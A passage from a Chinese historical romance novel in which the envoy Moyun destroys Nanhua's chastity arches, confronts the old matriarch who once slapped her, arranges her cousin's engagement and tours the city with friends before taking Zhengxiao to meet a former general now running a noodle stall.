翌日，阳光透过明亮的天空洒下温暖的光辉，周遭好似寒意消散，仿佛在诉说着变迁。人们纷纷走出家门，仿佛在感受这被唤醒的冬日生机，又在忐忑而跃跃欲试的去迎接即将改变南华历史的这一天。
此时茉云带人站在南华城的街道中心，周围是熙熙攘攘的人群。她走在街中，面对着五道着禁锢与压迫的南华女子数百年的牌坊，牌坊上歌颂的女规女德如同一道道枷锁，这几十年更是变本加厉，变成了毁了南华女子半生的牢笼，深深地锁住了无数女子的自由与尊严。
而皇上此刻就在街旁的君月楼二楼雅座之中，众人皆随驾在一旁，皇上轻轻的抬目望向了窗外。
众目睽睽之下，茉云亲手举起了石锤，她挥动手中的锤子，力量十足地击打在第一道牌坊上。随着一声巨响，灰尘飞扬，木料碎裂，牌坊应声而倒，轰然落地。
围观的人们一片寂静，看见这昔日仰望才可视的牌坊砸到地上，砸得粉碎，不知为何的心中暗自欣喜和痛快。
接连而来，茉云抬手，众人没有停下，第二道、第三道……每一击都如雷霆般响亮，似乎在撕裂长久以来的沉默与压迫。那些曾经冷眼旁观在南华城拥有话语权的世家老妇人们，脸上写满了不可置信与惶恐，亲眼看见自己曾经的权威顷刻粉碎，无法再以旧有的规则束缚他人。
茉云忽然飞身而起，立于第五道牌坊之上，那也是南华最显赫的一道石牌坊，此时阳光洒在她的身上，所有的目光也都聚集在她的身上。
她俯视着前排那些被压来的老夫人们，眼神中透出一丝凌冽，她从怀中取出那本祠堂正中央供着的南华女德女规，封面斑驳，满是岁月的痕迹。众人不禁屏息凝视，心中难免一紧，眼中宣泄出怨愤……
茉云在众目睽睽之下，点燃了那本书，火焰迅速蔓延，随着书页在烈火中扭曲燃烧，茉云将其对空中一扔，顿时火焰随风跳动着，仿佛在嘲笑那些陈旧的束缚和压迫何其愚昧。
片刻之间，书本在空中化作灰烬，随风飘散。
茉云的声音清晰而响亮：“圣上有旨，废除南华女德女规，还南华朗朗乾坤，从此以后南华各家婚嫁各家做主，南华再无此等枷锁！”
这一刻，既是宣告，也是释放，震撼着在场每一个人的心灵。
忽然不知是人群中的谁发出了一声呼喊：“好！”
这一声响彻云霄的呼喊，忽然如同火花点燃了众人的情绪，顿时人声鼎沸，大家纷纷响应，齐声欢呼：“圣上英明！”
欢呼声如潮水般汹涌而来，传遍了整个南华城。随着人潮的愈发激动，甚至有人含着泪水，怒吼着：“请圣上严惩这些，恶毒的老夫人们！”
特别是南华城中的妇人们，年轻时深受束缚，如同被禁锢在冰冷的牢笼中，葬送了最美好的年华。如今，她们目睹着自己的女儿被迫走上同样的绝路，心中积蓄的无奈与愤怒瞬间迸发，化为滔天怒火。
那愤慨的声音直刺苍穹，仿佛要将这些年所有的压迫与不公都倾诉出来，人们的情绪在这一刻达到高潮，终于超脱了压抑，超脱了恐惧，俱是血泪的控诉。
那些老夫人们神情变得扭曲，原本都戴着那副高高在上不可一世的面具，此刻面具被撕裂，暴露出她们内心深处的恐惧与虚伪。
她们嘴唇微微颤抖，似乎本还想慷慨赴义，却难以想象这突如其来的反抗。呆若木鸡，面色苍白，似乎在这一刻才意识到，失去了权杖的她们，面对众人控诉，心中恐慌与震惊交织，早已无法维持昔日的仪态。唯有领头那位老夫人，依旧一副正义凛然，不畏生死的神情。
茉云立于牌坊之上身姿挺拔，犹如一座巍峨的山峰，直面于一切虚伪与阴暗。微风轻拂，她的长发在阳光下舞动，飞扬而无畏。
圣上微微嘴角上扬，余光望向正啸那炙热的目光……
面对此起彼伏的人群，茉云的神情不再是过去的不甘与愤怒，而是嘴角微微上扬，
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目光扫过那些曾压迫和践踏自己的人，内心却充满了力量。
“轰”的一声，最后一道牌坊在众目睽睽之下轰然倒下，厚重的石材轰击在地，瞬间粉碎，碎石飞溅，尘土四起。
茉云飞身而下，犹如一道闪电，轻盈而迅速地落在了老夫人们面前。落地的瞬间，她双目如炬，直视着那些因恐惧而瑟瑟蜷缩的老夫人们。
“包老夫人！”茉云目光冷厉的望向为头的老夫人——包家的老夫人，目光如刀，“还记得十几年前，站在此处吗？”
包老夫人见她如此逼近，闪过一丝惊诧的惧色，却瞬间恢复了不甘示弱，彼此对视间，她咬牙捍卫着自己最后一丝尊严。
“你扇了我一嘴巴，说，你这个小贱，你跟你娘都是贱人！”茉云的愤怒像火焰般炽热，逼迫老夫人们回忆起她们曾经施加的桎梏和无情的践踏。
包老夫人依旧试图保持镇定，但双唇微张却说不出话来，眼神中依然流露出愤慨与不甘，可此刻也只能用冷漠无言掩饰内心的恐慌。
“你这个老贱人！”茉云骤然间，她一步迈前，手疾如电，一把抓住了面前包老夫人的衣领，令老夫人感到一阵窒息，眼中闪过一丝惊恐与不可置信，茉云冷然说道：“你可曾想过，有今日！”
茉云另一只手瞬间抬起，正当她即将出手之际，旁边的瑞林和老马见状，心中一紧，迅速一拥而上，将其死死拉住。
“茉云，有失官体！”瑞林无语的喊道。
“官你个头！她扇过我嘴巴！”茉云忿然挣脱着吼道。
“你看，卢将军，大将军肯定就站在哪儿！”老马死死拉着茉云的手说道。
“你不想等下师兄当着众人面，收拾你吧！”瑞林亦低吼道。
茉云愣了半刻，四周警觉的看着，若有所思最终松开了手。
若辰忍俊不禁的望向正啸，正啸松了一口气一脸无语的望向茉云，凡事她不整点岔子出来，他就不是方茉云了，身为皇命钦差，她也敢当街打人泄愤！
包老夫人居然嘴角勾起一抹不屑的笑意，仿佛一副“你能奈我何”的神情。
看向包老夫人眼光中的挑衅，茉云心中的怒火却逐渐冷却，嘴角轻轻上扬的笑了，眼中露出了狠戾的神情。
“其实我亦成长了，亦可大度的宽慰您！”茉云脸上带着世间最冰冷的笑意，声音亦如冰冷的刀锋，“没关系，包老夫人，您操持了一生，也只不过是一切回到了当初，你本就一无所有的时候……春未绿，鬓先丝，人间别久不成悲，不成悲！”
包老夫人咬牙瞪向茉云，她当日嫁来包家，受尽了禁锢和压榨，她即不择手段又苦苦挣扎的熬了半生，终于到达了这南华的顶峰，在这南华城终于呼风唤雨了十几年，今日最后得到的却是……家破人亡，子孙殆尽，自己白发苍茫，再无希望。
“何须忿然，应当欣喜，亦是这南华城将你变成的恶魔！”茉云抬手指着周遭众人涌动着对未来的希望与渴望，女子脸上皆是渴望摆脱束缚，渴望追求自由的笑颜，“所幸这儿被摧毁，只可惜晚了点，没有救到你，和你的任何一个子孙！”
包老夫人倨傲显然在这一刻崩溃，眼中的执拗顷刻间化为脆弱，是啊，他们都得救了，而包家……。她也曾经恨过，怨过，可是她终究拿起这把自己深恶痛绝的镰刀割向了其他人，她也不知道自己是报复还是享受挣扎的胜利，可是此时众人都得救了，她却再也没了希望，自己子孙亦都……
最终她顷刻间失去了往日的风范，泪水夺眶而出，淹没了她最后的矜持和骄傲。她颤抖着伸出了双手，不顾一切冲去掐茉云的脖子，被茉云身边侍卫押到了地上。
她被压得匍匐在地，还在疯癫的怒吼道：“啊，你这个贱人，啊！啊！”
周围的其他老夫人见状，无不震惊而为之动容，瞬间都低下了她们扬起的头，原本高高在上的包老夫人，此刻已显得如此狼狈、疯狂且无助，仿佛一个被剥去铠甲的虫，人不怕醉死，只怕酒醒，她的嚎啕大哭终究成了——南华城这场胜利的缩影。
茉云冷冷地转身，仿佛将周围的激动、欢呼、泪水与悔恨一并抛在了身后，她其实早已不需要任何人忏悔，可是要还南华的朗朗乾坤，毁了这五座牌坊还必须毁了南华人心中的禁锢——包芸莲、华夫人和包老夫人他们才是南华真正的牌坊。
她的头微微仰起，目光轻松的穿透了纷乱的人群，定格在前方那片蔚蓝的天空，从那个时候有人总去深渊不容分说的将自己拎出来，自己就再也不畏惧这深渊万丈了……
182.婚配
皇上站在楼台之上俯瞰着发生的一切，牌坊一塌犹如雷声滚滚，唤醒了沉睡的民众，激荡起万千情绪。这世间的权威与尊贵，究竟有多少是建立在真理之上的……
皇上淡然说道：“倒是真正的强者，才敢如此直面不公。”
众人都伏低头听着，而窗边的季岚，目光依然定在茉云那坚定的身影上，心中如同涟漪般荡漾开来。她曾经生活围绕着无数的名利与虚荣，然而此刻，她意识到，这些光环都显得如此苍白无力。
皇上忽然转身望向景城，神色坚定的说道：“拟旨，任命罗景城为刑部侍郎，即刻上任！”
屋内众人皆愕然面面相觑，旋即又齐齐躬身恭敬应声。景城都愣了半刻才马上跪下谢恩。
“望你恪守朝廷法度，公正无私，以护我朝堂纲正！”
“臣定竭尽全力，不负圣上隆恩！”
这个决定既是对景城才能的认可，也是对时局的回应，以堵住悠悠众口，柳大人虽然倒台了，众人难免揣度卢正啸在朝堂的地位，是不是失了圣心，皇上此旨意一出，众人心中都明白，这不仅是罗景城的升迁，更是朝廷在动荡中，圣上为卢家军继续铸就稳定的基石。
皇上微微一笑抬手让他平身，刑部不设尚书，自然由新上任的侍郎统领，关太傅亦温润的笑了，这便是皇上的爱屋及乌，圣上期许便是景城能在重振刑部在朝堂威望的同时，亦力挺正啸边关大业。
景城当天就像皇上请旨回京，因为柳尚书离任之事，刑部已乱成一团，而御史台邓大人和余震带着一众即将被纠查的官员回京，皇上虽然放过了柳大人，却没有放过他身边之人，圣上想以此警醒朝堂的心意不会改变。
只有御史台和局中人才知，茉云又悍然拉下了刑部一众官员落马。
茉云则没事人一般，晚上在俞家请瑞林和老马他们吃饭，算是庆功亦是慰劳，他舅妈亲自操持这饭菜，舅舅亦是开怀的陪大家喝酒，这不过是南华千家万户的一个缩影，今日的南华满城皆是欢畅淋漓！
酒过三巡，瑞林喝得大醉，被小马等人抬了出去，茉云端着酒壶拿着酒碗坐在院中和舅舅、表哥俞遥还有二哥穆棱继续赏月喝酒，却瞧见他表妹俞诗鬼鬼祟祟的躲在假山石后偷看。
茉云抬脚一踢，一颗石子飞去击打得假山石一响，俞诗吓得弹了出来。
“想喝酒？”茉云将酒壶放下望向俞诗。
“不是！”俞诗开心的跑了过来坐到了茉云的身边，眼中闪烁着光彩，语气中充满了崇拜说，“表姐，你今日毁了那五道牌坊，真是甚为痛快！整个南华都热闹非凡，欢呼雀跃，大家都说你是南华的英雄！”
茉云平静的抿了一口酒说道：“倒是跟当日压我去府衙公审时一般热闹！”
二哥穆棱深吸一口气望向茉云，俞诗则丝毫没听出言外之意，天真的灿然而笑的回应：“表姐，这可不是你一个人的赢了，你可是为了我们所有南华的女子挣得了胜利，明日集市，娘都说我可以上街逛集市了。”
“那你还不早些去休息，在此瞅什么，真想尝尝这酒！”俞遥笑了说道。
“不想不想，我就是见一见表姐……”俞诗眼光忽然有些闪烁的望了一眼桌上的茉云身边那个酒杯说道，“那我去歇息了，表姐，明日咱两一起去逛集市！”
茉云也瞅了一眼旁边的酒杯，微微笑了，抬眉望向俞诗点点头。
翌日清晨茉云和俞诗一起去逛集市，俞诗就像一只快乐的小鸟，到处看着，城中街头巷尾今日显得格外热闹，尤其是许多未婚女子终于走出了家门，平日里她们只有城中大事，她们才能出来。
她们穿着各色新衣，漫步在集市中眼含羞涩却跃跃欲试，眼中都闪烁着久违的自由，尽情享受阳光的温暖，有人在挑选新鲜的小食，有人则在看着胭脂水粉，还有人为挑选到了心仪的饰品而兴奋不已。
在这一刻，南华的每个角落都洋溢着新生的气息，茉云深深吸了一口气顿觉清新……
“表姐，你说那个钦差大人可成家了吗？可有婚配？”
茉云望向俞诗便乐了，心想昨日这丫头躲在后山就是在看瑞林。
“我就是随便问问！”俞诗顷刻间羞涩的说道，然后她忽然看见路边饰品小摊，雀跃的飞奔了过去，选了一只比划着，“表姐，好看吗？”
茉云望向俞诗这天真浪漫的样子若有所思，穆棱则笑了说道：“人的活法本不同，你自幼都没这般笑过？”
还没等话音落，府中之人就上气不接下气的跑来传话，说府上接到了巡抚大人差人送来的拜帖，说他们要上俞府拜访。
“什么？拜帖？”
“关大人之前就说过，要上门拜访我等的长辈，之前事事纷扰，现在诸事可定，关大人自是极为重礼数，上门肯定要递拜帖，都像你一脚踢开人家门？”穆棱笑了望向茉云说道。
“去拜访舅舅是吧，随他们吧！”茉云继续往前走去，结果被穆棱和腾腾一把拽住往回走。
茉云刚踏入俞府的大门，便听见院里传来热闹的谈笑声，她踏入大堂抬头一看，便见元帅、卢正啸和关若辰一行人齐聚在堂中，元帅正坐在主位上，眉眼间透出一丝和蔼。而俞家一脸的诚惶诚恐，虽也算是南华名望的家族，可是就连南华刺史都未登门造访过……
茉云跨门而入，元帅见她回来，便笑着招手：“茉云，你回来了！”
茉云抬眼便看见了若辰和执礼命人备下的拜礼，笑着说：“这么客气？”
“应该的！”
“哇，遥想当年我第一次去拜访关府和卢府的情形，下官惭愧啊！”茉云顷刻乐了说道。
众人顷刻间忍俊不禁，要知道当日茉云第一次去关府便将关若辰击晕，第一次去卢府就是带人将卢正啸的叔叔押去御史台。
“茉云，贵客登门，不得无礼！”俞老爷起身儒雅且温和的说道。
“舅爷，你是不知道，这是他们见过的我姑姑最有礼的时候！”腾腾顷刻评价道。
众人哄堂大笑，一看大家都跟茉云非常相熟。
“茉云，你跟你舅介绍一下，这位就是巡抚大人？”舅妈起身看向茉云小声说道。
“这位是巡抚大人朋友的爹，这是巡抚大人，这位是巡抚大人的夫人，其余都是巡抚大人的朋友！”茉云抬手便是这样介绍道。
“姑姑，你这样有失礼节吧！”腾腾马上恭敬地说道，“这位是卢爷爷是朝廷的兵马大元帅，卢元帅……”
腾腾话还没有说完，俞家人全都站了起来，诚惶诚恐的要起身行礼。
“诶，切莫多礼！”元帅起身就扶住了要跪下的俞老爷笑着说。
“这是我卢叔，是名震天下的大将军！”腾腾一脸的崇敬的说道，还立马补充道，“老厉害了，全天下我姑就怕我卢叔！”
“谁说的！”茉云刚拿起桌上的果子塞嘴里，听见腾腾的话便吼着反驳道，差点被果子呛到了，顿时众人又哄堂大笑。
“二叔，你从不骗人，你就说是不是吧！”腾腾指着穆棱说道。
茉云的二哥穆棱亦被逗笑了没有言语，抬目望向正啸亦恭敬的行礼。
“他也怕了我好吧！”茉云愤然的反驳道。
“那倒也是实话！”执礼接过话来说道，众人笑得更欢了。
正啸依旧面容严肃，抬目望了茉云一眼，却隐约透出一丝温和。
腾腾一一介绍了众人，才让俞家人意识到这在场的每一个人都比南华府衙刺史的官职大，而且大了不是一星半点，可是众人围坐一起谈笑风生，他们都没有任何官架子。
已到晌午之时，俞家热情地请众人移步至饭堂用餐，众人应声而动，纷纷起身，沿着宽敞的走廊向饭堂走去。饭堂内舅妈早已准备好丰盛的菜肴。
俞老爷在前引路，俞夫人则亲自为每位来宾斟酒，众人围坐在圆桌旁，席间任何身份地位的拘谨，有茉云的地方总是欢声笑语不断。
“元帅真是不易，您还比我虚长几岁，我如今只需担忧儿女的婚事，您却还要为家国大业费尽心力！”
元帅笑了望向俞老爷笑着说道：“我也最操心我儿子的婚事！”
“大将军如此伟岸……乃盛世之才，婚配之事定是众多年轻女子翘首以盼！”
“哎，别提了，你儿女还年岁不大，不用着急！可正啸都到了而立之年！”元帅意味深长地看向茉云，似乎在暗示着什么。
“我们家茉云也早已到了该成家的年岁！性子刚烈，不易择婿！”俞老爷满脸都是操心的说道。
元帅顿时眼中就闪过光芒，正啸无语的望了过去，若辰和执礼相视一笑，元帅非要跟着来，怕就是为了此事。
“父帅！”正啸顷刻意欲打断元帅的话。
元帅转头便瞪了正啸一眼，此时茉云却忽然接过了话。
“元帅，你最近是难得闲暇，对婚配这事极为感兴趣是吧？”茉云笑着说道，“好，我也正有此意！”
众人都停住了望向茉云，她从来没有在这个问题上松过口。
茉云则抬目望向瑞林说道：“瑞林师兄，我知道你未婚，你可有婚配？”
瑞林顿时愣在了半刻望向茉云，众人更是错愕的望向茉云。
“什么？！”
“我问你，瑞林师兄，可有婚配？可有考虑婚配的想法！”
“为何问我？”瑞林惶恐的问道。
“我表妹要我问的！”茉云笑了指着俞诗说
瑞林脸上露出一丝错愕之色，他显然也被这一突如其来的话题弄得有些不知所措，目光不自觉地朝俞诗那边望去。
“表姐！”俞诗也瞬间诧异的望向茉
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云，脸上的红晕犹如晨曦中的桃花，娇嫩而动人，她望向瑞林看见他亦望向自己，立刻低下头不敢与他对视，手指却绞着衣角，心中既窘迫又怦然心动。
“这是好事啊！”元帅顷刻爽朗的笑道，眼中带着几分赞赏。
“岂敢，岂敢！”俞大人晃过神来说道。
“我师兄人还不错啊，舅是不满意吗？那行，换一个！”茉云笑了说道。
“表姐，这么草率的吗？”俞诗顿时吃惊的望向茉云，顷刻眼神中透出她对瑞林的钦慕。
“你爹不满意！”
“爹，钦差大人如此气宇轩昂，风度翩翩，挺好的！”俞诗怔怔的望向他父亲说道。
“女孩儿家家！”俞老爷马上数落道，“还不退下！”
俞小姐此刻才意识到自己在众人目光的注视下，脸颊的红晕愈加明显，心跳也不由得加速，尽管周遭都是喜悦温和的笑容，她仍窘迫的低下了头。
“诸位慢用……俞诗退下了！”她边起身行礼便慌忙的结结巴巴说道，声音小得几乎听不见，随后转身离开，刚走出几步，她便像那小白兔一样疾步跑了……
众人顷刻间亦乐了，瑞林亦无语的望向茉云。
茉云目光柔和缓缓说道：“师兄，我知道你性子温和，重情重义，爹娘早已不在人世，受师傅与师娘照拂，才得以长大成人，在京城这等际遇，一定是也经历了不少人间险恶和世态炎凉，师兄却依旧愿意相信人性之良善。”
瑞林顿了顿望向茉云，但是众人心中皆知瑞林的身世，他确是卓神捕门下性子最为温和，为人最乐观之人！
茉云继续说道：“瑞林师兄待人如此真诚，心怀如此宽广，便是连我都如此能容，而你却一直未婚，师妹斗胆猜测，或许你是在等待一个与你性子相符、能够以诚相待的女子。”
茉云的语气中透出了欣赏与惋惜，她心里知道，瑞林性情温和的外表下，内心极为坚韧与刚正，更为重视感情。半生仿佛在风中摇曳，却渴望着温暖的港湾。
京城世家的女子未必能看得上瑞林，而他亦不喜欢陷入朝堂各家势力争斗，去做违心之事，每每师傅师娘给他说亲，他就跑……
“看师兄最怕回部里，没事就喜欢往京城外跑的性子，此生定不求闻达，找一个我表妹这般天真浪漫，不懂人世险恶，只一门心思期待过好日子的女子，说不定挺合适！”茉云笑了端起酒杯说道，“师兄，你也知道我这人素来直接，婚配之事绝不勉强！唐突冒犯之处，我自罚一杯，师兄海涵。”
瑞林微微调整了一下坐姿，脸上浮现出一丝真诚的笑容，他语气坦诚地说：“在下对俞家小姐印象深刻，觉得她待人亲和，真挚，才德兼备又重情重义，实乃难得之人。”
这番话一出，众人不禁齐齐侧目，露出惊讶而又期待的神情。俞夫人更是吃惊的望向瑞林，眼中顷刻间微微盈了泪光。
瑞林想着也温和的笑了，有几分忐忑的说道：“俞家小姐值得好好珍惜。若俞老爷和夫人允准的话，容我回京城像师傅师娘禀明，再……”
“不用等了，这媒我替你师傅保了，我和老卓是什么交情，他们夫妇怎么会信不过我！”元帅畅快而笑大手一挥说道，“俞老爷和俞夫人你们意下如何？”
俞老爷和俞夫人都怔在了原地，说不出话来，还是俞遥轻轻的唤他们。
“舅舅，舅妈，我师兄人不错！”
“我们……当然觉得大人是极好的……但是诗儿是否高攀了……”俞老爷望向茉云手抖有些颤抖，然后望向季岚说道，“我诗儿她从小娇生惯养，和这京城的少夫人相较之……”
“你跟关夫人比啊，那您选对人了，人是京城女子的翘楚，人家的夫婿是天下闻名的关大才子！”茉云看了过去自己忽然笑了说道，“说来也是情人眼里出西施，瑞林师兄跟卢正啸和关若辰坐在一起，她居然觉得瑞林师兄，气宇轩昂风度翩翩！”
众人哄堂大笑，瑞林亦有几分不好意思的望向茉云。
“那此事就这定了！老夫还是第一次保媒！”元帅欣喜的说道，“你们都帮衬着瑞林点，我们都是戎马出生，有不合礼节之处，还请俞老爷海涵！”
“您言重了！”俞老爷和俞夫人马上起身说道。
“诶，切莫多礼，倒是瑞林你还不拜见你未来的岳父岳母！”
瑞林立马起身像俞老爷和俞夫人行了大礼，他们两人都喜笑颜开的点头，俞夫人更是匆忙的擦掉自己眼里盈满的欣喜泪水，众人都沉浸在这一刻的喜悦之中。
茉云开心的宽慰自己二哥道：“二哥，你别着急哈，看来，这事也不难嘛，日后我也定给你哐个媳妇！”
“那你打算何时嫁人！”穆棱笑了直接望向茉云说，众人的目光顷刻又被吸引了过来，穆棱抬眉望向茉云，“人会愿意娶你吗？”
183.欢喜
话音刚落，众人的目光纷纷聚焦在茉云身上，气氛瞬间凝重起来。她感受到周围灼热的注视，脸上却并没有丝毫惊慌，反而淡然一笑。
“不如你帮我问问？”
穆棱望向茉云倒是愣了半刻说道：“那二哥可问了！”
“等天黑吧，若是……人都不敢找我，你可以去问问鬼怪！”茉云嘴角荡起一抹洒脱的笑意。
“爹娘在天之灵，定希望你还是早日成家有个归属！”俞老爷吸了口气望向茉云。
这一瞬间，茉云神情中忽然透出坚定与自信：“那便让他们失望吧，我活着，本不是为了完成谁的期待！”
她这话显然有违孝义，亦不该是出自一女子之口，可是众人眼中不自觉的闪烁出认可与敬意。
若辰的妻子季岚，也不禁想起自己早已习惯的生活，那些在世俗礼法的束缚中徘徊长大的日子，心中生出几分羡慕与向往。茉云的飒爽与果断，总让她感受到一种从未有鼓舞，燃起每个人对勇敢无畏的渴望。
“二叔！”此时腾腾凑近了穆棱说，“姑姑是不是在用她无所谓的姿态，来掩盖她嫁不出去的事实！”
话音未落，茉云的筷子已经飞来，而腾腾早已躲到了正啸身后，众人又是一番哄笑。
阳光透过窗棂洒入俞家的饭堂，众人互相碰杯，席间笑声不断，元帅和孩子们欢聚一堂，今日还促成了瑞林的婚事，心中倍感欣慰。整个房间笑声与酒香交织在一起，暖意荡漾。
众人吃完午膳，俞老爷等人亲自送了元帅出门。
临走之时，传来了一阵轻巧的脚步声，众人抬目望去是俞诗跑上阁楼，裙摆随着她如欢快的脚步轻轻摆动，她在房中听见了母亲来说的婚事，抑制不住心中兴奋与喜悦奔向阁楼望向瑞林，本想目送他离去，结果却被他们发现了。
她瞬间脸颊绯红，脸上的笑容愈加绚烂的望向瑞林，宛如一朵春日桃花，朝着阳光绽放，目光中皆是柔情。
瑞林亦温和的笑了，笑容如同一缕春风，两人的目光交汇，好似无声地承诺着未来的温馨与美好。
茉云的二哥穆棱看着也不禁心生欣喜，可他望向一旁的茉云，她似乎丝毫感受不到这些温情，转身正在和万莫聊什么。茉云正在问着什么，而万莫在挠着头认真的回答。
两人聊完，茉云眼中闪过一丝冷笑，忽然转过身目光落在正啸和若晨、季岚他们身上，神情顷刻又变得轻松而畅然。
“几位下午可有空闲？我还是该尽一下地主之谊，带你们逛逛南华城。”
正啸看向茉云的表情，眼中闪过一丝疑虑？她的话语中透着一丝俏皮，笑容却如此灿烂，季岚顷刻间便欣喜的点点头。
“正啸他无事！”元帅直接接过茉云的话，喜笑颜开的说道，“年轻人出去逛逛挺好！”
“今日怎得如此客气？”若辰温润得笑了望向茉云。
“瞧你说的！”茉云大手一挥笑着说，“我只是负责带你们逛，银子还是你花。”
众人理敬的送了元帅之后，茉云领着正啸和若晨夫妇、威行、瑞林、腾腾等人走在热闹的南华城街头。
阳光暖暖的照向大地，茉云转身看向众人，边轻巧地倒退走着，边跟他们介绍道：“这里就是南华城的老街，每到节日，街道两旁的灯笼挂满枝头，宛如星河热闹非凡！”
执礼此时余光望向这正啸，只有在此时，正啸才会如此温和地直视茉云，眼神中似乎透出一丝柔情，眉宇间还带着一丝宠溺。
茉云又指向一旁的老茶馆，继续笑着说道：“那是百年茶楼，南华城最有名茶馆，在这里，不仅是品茶，城中的流言蜚语一半出自这儿。要不是这儿茶点一绝，我砸牌坊之时，本该将这儿也砸了！”
众人忍不住轻声笑了，季岚更是饶有兴致的随着她的指引，抬目望去感受这集市的繁华热闹。
茉云停下脚步，转身指向一个正在热气腾腾的锅边忙碌的小摊：“你们看，这家馄饨一绝，皮薄馅儿多，每一口都能感到入口即化，又有扎实肉感，特别神奇！”
茉云兴致勃勃地介绍之时，一辆单轮推车突然从身后驶来，车轮辗过石板路，发出清脆的声响。正啸立即反应过来，往前一步迅速拉过茉云手臂，将她护在身侧，没让她被推车撞上，动作间透出几分亲昵。
茉云微微一愣，感受到正啸手掌传来的温暖，随后回过神来望向正啸。
两人瞬间四目相触，茉云望向正啸，他那深邃的眼神中透着关切，这一刹那，她能感受到自己心跳，感受到这份的亲近，感受到他眼神中的温柔……
旁边的若辰和季岚互相看了一眼，季岚不由地露出笑容，只要站在他两身边，任谁都能感受到到两人之间那份不言而喻。
茉云立刻移开了眼神，装作丝毫没有察觉众人眼神的喊道：“老板，一人一碗馄饨！”。
“好嘞！”
茉云开心的招呼众人坐下，满脸期待的看向热气腾腾的馄饨锅。
“茉云，我着实是佩服你的！”季岚温婉的坐下看向茉云笑了说道。
“什么？”
“你刚刚好像才用过午膳……”
“刚才有长辈在，元帅还来了，陪他喝酒去了，还要注重礼节，大家肯定没吃饱！”茉云笑着解释道。
“我等吃没吃饱，另当别论，方茉云，那盘子都快被你啃了！”威行笑着评价道。
众人忍俊不禁，此时热腾腾的馄饨被端上桌，散发着诱人的香气，汤面上漂浮着几片葱花，颜色鲜亮。茉云迫不及待地舀起一勺，轻轻吹凉后，送入口中，温暖的汤汁在唇齿间流淌，鲜美的味道瞬间充盈口腔。
“这味道真不错！”瑞林率先赞叹道，其他人也纷纷点头。
“人都说我方茉云什么箭法一流，断案如神，武艺超群，那都是不了解我，其实我最擅长的是吃喝！这一点你们确实该佩服我！”
众人哄堂大笑，正啸居然亦望向她无语而温和的笑了。
“我听他们说了，茉云，你这断案着实厉害！”季岚望向茉云说道，“华夫人的案子你居然是那般……”
茉云抬眼望向季岚，眼中顷刻透出了一丝狠戾：“知道我学戏之时师傅让我学的是什么角色吗？先学的丑角，人肯定认为哪有小姑娘唱丑角，师傅说，因为我自小便能看清世态炎凉，勘破人情凉薄。只有能一眼看破的人，才能拨弄人心。”
茉云虽是笑着说，可是眼角透出的冷厉，不禁让人背后透着一丝凉意，季岚都不禁倒抽一口气，周围的气氛也变得紧绷。
此时正啸却随意的伸手将茉云的头按到馄饨碗前
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，带着一丝宠溺与笑意说道：“吃你的馄饨，人是关若辰好不容易取来的新婚妻子。”
若辰亦被逗笑了望向正啸，茉云之狠戾时常会让身边之人觉得不寒而栗，唯独正啸从一开始便不会被她唬住。
茉云则瞬间就乐了，眼中的冷厉也顷刻消散：“说来也是，朋友一场，当着人夫人的面，我得少说些狠话，多说说他的好话！”
若辰亦嘴角荡起一丝笑意，茉云还能说什么自己的好话？
“当日在中州，关公子在江边赏月，人是这么夸赞关公子的，那句诗说他一樽青雅亭江月……后面那句诗什么来着，腾腾你当日也读了吧！”
“对，那日我也在中州，可我不记得诗，我只记得姑你回来说，您和我关叔就都投错了胎，说您要是男子，定是一代名将，关叔是个女子，必定是一代名妓，都定能名扬千古。”腾腾接过话评价道。
茉云瞪向腾腾骂道：“你此时说出来干嘛？”
“扑哧”顿时众人哄堂大笑，若辰笑了看像季岚，眼神中大抵是说这就是交友不慎，季岚也被逗笑了温和看向若辰。
“还有那时我们村里有个哥哥，他小时候烧坏了脑子，所以有点反应慢……有时有点点傻。”腾腾学着样子说，众人也都看了过去。
“我那时候小，不懂事不爱跟他玩，我姑回来就把我揍了，她还骂我说，说我二叔也不太好，我说那是家人，她说她有个朋友，傻得比那小孩严重多了，她和卢大人从来不嫌弃他，人叫关若辰。我后来见到了关叔……这世上还有几个人能比关叔聪明，根本不是那么回事。”
众人又哄堂大笑。茉云捂着头也笑得不行：“哎呦，我大哥拖累我半生也就罢了，怎还留了你来折磨我！”
吃完馄饨，茉云又带领着众人，走过古老的青石巷，寒风虽冷，却被众人的欢声笑语驱散。一向秉持有礼的季岚，也时不时被茉云分享小时的趣事所感染，脸上绽放出灿烂的笑容。
当他们走到风景如画的湖边，碧波荡漾微风轻拂，湖面映照着蔚蓝的天空，众人纷纷驻足观赏，正啸微微侧目，默默望向茉云那生气盎然的笑颜，心中不由生出一丝暖意，冬日的寒风在她欢快的笑声中似乎变得不再刺骨。
可他马上又收回了目光，习惯了金戈铁马、边关苍茫的他，自小便被告诫，峑戎未灭，人不可有一丝沉迷其他，如今大战在即，诸事未定，粮草，军备，练兵事事终日围绕在他脑海，可这一刻他无法克制的觉得若时光停在此也好……
茉云眺望着湖光山色，忽然觉得周遭都因为他的存在而变得温暖。她忽然停下了脚步，不自觉的望向正啸，她不知道这是否是自己的错觉？还是什么……可她就是能感受到他这一刻沉稳而温和的气息，像是一股无形的力量，时时刻刻护着自己。
正啸亦望向了茉云，四目相触，茉云才晃过神来，粲然一笑，温暖而自然的说：“你跟我来，我带你去见一个人。”
“谁？”正啸望向茉云说道，语气中带着几分好奇，可是茉云的眼神中好似流露出一丝狡笑和期待。
“跟我来便知。”茉云语气轻快的转身便向前走去，正啸便迈步跟上她。
一路上，南华城的繁华可尽收眼底，熙熙攘攘的人群身旁穿梭，在所有的热闹欢喜中，唯独望向她……
184.共鸣
夕阳渐渐西沉，金色的余晖洒在南华城的街道上，温暖而柔和，茉云带着众人漫步至城郊，那条熟她悉的小巷渐渐显露在眼前。
那个幼时曾救过自己的小面摊渐渐出现在眼前，那飘零的招牌在夕光中都显得格外亲切，店前飘散着浓郁的面香。
面摊的前老板背对着，正忙着在为客官下面，火炉上锅中咕噜作响，蒸汽缭绕，映衬着黄昏的温情。
茉云的回忆如潮水般涌来，笑了嚷道：“诶，周叔，下几碗面！”
“自己找地坐！”周劲没好气的说，头都没有回一刻。
正啸闻声便顷刻驻足，目光定格在那位小面摊前忙碌的之人的身上，神情瞬间愣住。
茉云侧目望向正啸，这些日子自己都没空来探望周劲，城中如此波澜，周劲硬是置身事外，他是有多不关心时事，可他密室中分明的就是卢家军的军牌，自己绝对不可能认错。现在看着正啸如此的表情，看来刚刚万莫说得没错，卢家军中曾有一个姓周的将领，是个将军，是威行的亲舅，还曾是卢家军的总教头，此人特别凶悍，……
